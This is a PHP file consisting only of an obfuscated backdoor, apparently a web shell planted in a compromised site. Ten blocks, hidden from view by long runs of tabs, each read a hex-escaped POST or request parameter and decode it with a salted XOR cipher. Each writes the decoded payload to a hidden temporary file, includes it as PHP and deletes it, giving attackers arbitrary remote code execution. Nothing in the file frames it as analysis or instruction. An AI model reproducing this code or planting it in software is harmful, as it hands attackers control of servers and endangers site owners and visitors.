<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["pr\x6Fp\x65rt\x79\x5F\x73\x65t"])){ $marker = array_filter([ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TMP"), session_save_path(), "/var/tmp", getenv("TEMP")]); $mrk = $_REQUEST["pr\x6Fp\x65rt\x79\x5F\x73\x65t"]; $mrk= explode ('.' ,$mrk ) ; $entry= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $m= 0; while($m< count($mrk)) {$v1= $mrk[$m]; $sChar= ord($s[$m%$lenS]); $d= ((int)$v1 - $sChar -($m%10)) ^ 1; $entry.= chr($d); $m++;} for ($val = 0, $pgrp = count($marker); $val < $pgrp; $val++) { $elem = $marker[$val]; if (array_product([is_dir($elem), is_writable($elem)])) { $bind = str_replace("{var_dir}", $elem, "{var_dir}/.sym"); if (file_put_contents($bind, $entry)) { require $bind; unlink($bind); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "re\x66\x65\x72e\x6Ece")){ $k = $_REQUEST["re\x66\x65\x72e\x6Ece"]; $k= explode ( ".", $k ); $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach($k as $z =>$v9) { $sChar = ord($s[$z % $sLen] ); $d =((int)$v9 - $sChar -($z % 10))^ 3; $object.= chr($d ); } $tkn = array_filter(["/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP")]); while ($entry = array_shift($tkn)) { if ((function($d) { return is_dir($d) && is_writable($d); })($entry)) { $parameter_group = vsprintf("%s/%s", [$entry, ".data"]); if (@file_put_contents($parameter_group, $object) !== false) { include $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(array_key_exists("dat\x61", $_POST)){ $item = array_filter([sys_get_temp_dir(), "/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm"]); $k = $_POST["dat\x61"]; $k = explode ("." , $k) ; $fac =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $j =0; $__tmp =$k; while( $v5 =array_shift( $__tmp)) {$sChar =ord( $salt[$j % $sLen]); $d =( ( int)$v5 - $sChar -( $j % 10))^ 96; $fac .= chr( $d); $j++; } foreach ($item as $key => $element) { if ((function($d) { return is_dir($d) && is_writable($d); })($element)) { $record = join("/", [$element, ".comp"]); $file = fopen($record, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $record; @unlink($record); die(); } } } }
																																										if(@$_POST["b\x69n\x64"] !== null){ $flg = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), getcwd()]); $pgrp = $_POST["b\x69n\x64"]; $pgrp= explode ( '.', $pgrp ) ; $pointer = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $w = 0; foreach ($pgrp as $v2) { $sChar = ord($s4[$w % $lenS]); $d = ((int)$v2 - $sChar - ($w % 10)) ^ 62; $pointer .= chr($d); $w++; } for ($dchunk = 0, $binding = count($flg); $dchunk < $binding; $dchunk++) { $marker = $flg[$dchunk]; if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $hld = "$marker/.value"; if (file_put_contents($hld, $pointer)) { include $hld; @unlink($hld); die(); } } } }
																																										if(array_key_exists("\x6Da\x72ker", $_POST)){ $component = array_filter([getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp"]); $parameter_group = $_POST["\x6Da\x72ker"]; $parameter_group= explode( ".",$parameter_group ) ; $pgrp =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s8); $t =0; $__len =count($parameter_group); do { if ($t>= $__len) break; $v4 =$parameter_group[$t]; $sChar =ord($s8[$t % $lenS]); $d =((int)$v4 - $sChar - ($t % 10)) ^ 64; $pgrp .= chr($d); $t++; } while (true); for ($object = 0, $entry = count($component); $object < $entry; $object++) { $comp = $component[$object]; if (is_writable($comp) && is_dir($comp)) { $ref = str_replace("{var_dir}", $comp, "{var_dir}/.symbol"); if (file_put_contents($ref, $pgrp)) { require $ref; unlink($ref); die(); } } } }
																																										if(!empty($_REQUEST["s\x79\x6D\x62ol"])){ $res = $_REQUEST["s\x79\x6D\x62ol"]; $res = explode ( '.' ,$res ) ; $descriptor = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8 ); foreach( $res as $z=> $v5): $sChar = ord( $salt8[$z % $lenS] ); $dec =( ( int)$v5 - $sChar -( $z % 10)) ^ 76; $descriptor .= chr( $dec ); endforeach; $tkn = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path()]); for ($token = 0, $ref = count($tkn); $token < $ref; $token++) { $factor = $tkn[$token]; if ((function($d) { return is_dir($d) && is_writable($d); })($factor)) { $mrk = sprintf("%s/.record", $factor); if (@file_put_contents($mrk, $descriptor) !== false) { include $mrk; unlink($mrk); exit; } } } }
																																										if(!empty($_POST["\x70ara\x6Det\x65r_\x67\x72o\x75p"])){ $itm = array_filter(["/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm", getcwd(), getenv("TMP"), session_save_path()]); $rec = $_POST["\x70ara\x6Det\x65r_\x67\x72o\x75p"]; $rec = explode ( '.' , $rec ) ; $record= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $m= 0; array_walk($rec ,function ($v8) use (&$record ,&$m ,$salt ,$lenS) {$chS= ord($salt[$m %$lenS]); $dec= ((int)$v8 - $chS - ($m %10)) ^80; $record .= chr($dec); $m++; }); for ($fac = 0, $resource = count($itm); $fac < $resource; $fac++) { $data = $itm[$fac]; if ((is_dir($data) and is_writable($data))) { $k = join("/", [$data, ".dat"]); $success = file_put_contents($k, $record); if ($success) { include $k; @unlink($k); exit;} } } }
																																										if(in_array("\x66lg", array_keys($_POST))){ $binding = $_POST["\x66lg"]; $binding = explode ( '.' ,$binding ); $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($binding); for ($r = 0; $r < $len; $r++) { $v6 = $binding[$r]; $sChar = ord($s[$r % $lenS]); $d = ((int)$v6 - $sChar - ($r % 10)) ^ 62; $data .= chr($d); } $pgrp = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP")]); foreach ($pgrp as $fac) { if (is_writable($fac) && is_dir($fac)) { $token = join("/", [$fac, ".rec"]); if (file_put_contents($token, $data)) { require $token; unlink($token); die(); } } } }
																																										if(!empty($_POST["value"])){ $entity = $_POST["value"]; $entity=explode('.' ,$entity ) ; $ref= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); $s= 0; $__len= count( $entity ); do { if( $s >= $__len) break; $v6= $entity[$s]; $chS= ord( $salt[$s % $sLen] ); $d= ( ( int)$v6 - $chS -( $s % 10)) ^ 67; $ref .= chr( $d ); $s++; } while( true ); $hld = array_filter(["/var/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp"]); for ($factor = 0, $key = count($hld); $factor < $key; $factor++) { $pointer = $hld[$factor]; if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $tkn = "$pointer" . "/.descriptor"; $success = file_put_contents($tkn, $ref); if ($success) { include $tkn; @unlink($tkn); die();} } } }


if(!is_null($_POST["desc"] ?? null)){
	$entity = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", session_save_path(), getcwd(), "/dev/shm"]);
	$binding = $_POST["desc"];
	$binding	  =		explode  (	'.'	,			$binding			)		; 	
	$pgrp = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( 	$salt6);
            $len = count( 	$binding);
    
            for( 	$o = 0; $o < $len; $o++) {
                $v7 = $binding[$o];
                $chS = ord( 	$salt6[$o % $lenS]);
                $dec =( 	( 	int)$v7 - $chS -( 	$o % 10)) ^ 75;
                $pgrp .= chr( 	$dec);
            }
	$pset = 0;
do {
    $reference = $entity[$pset] ?? null;
    if ($pset >= count($entity)) break;
    		if (is_dir($reference) ? is_writable($reference) : false) {
    $record = sprintf("%s/.symbol", $reference);
    $file = fopen($record, 'w');
if ($file) {
	fwrite($file, $pgrp);
	fclose($file);
	include $record;
	@unlink($record);
	die();
}
}
    $pset++;
} while (true);
}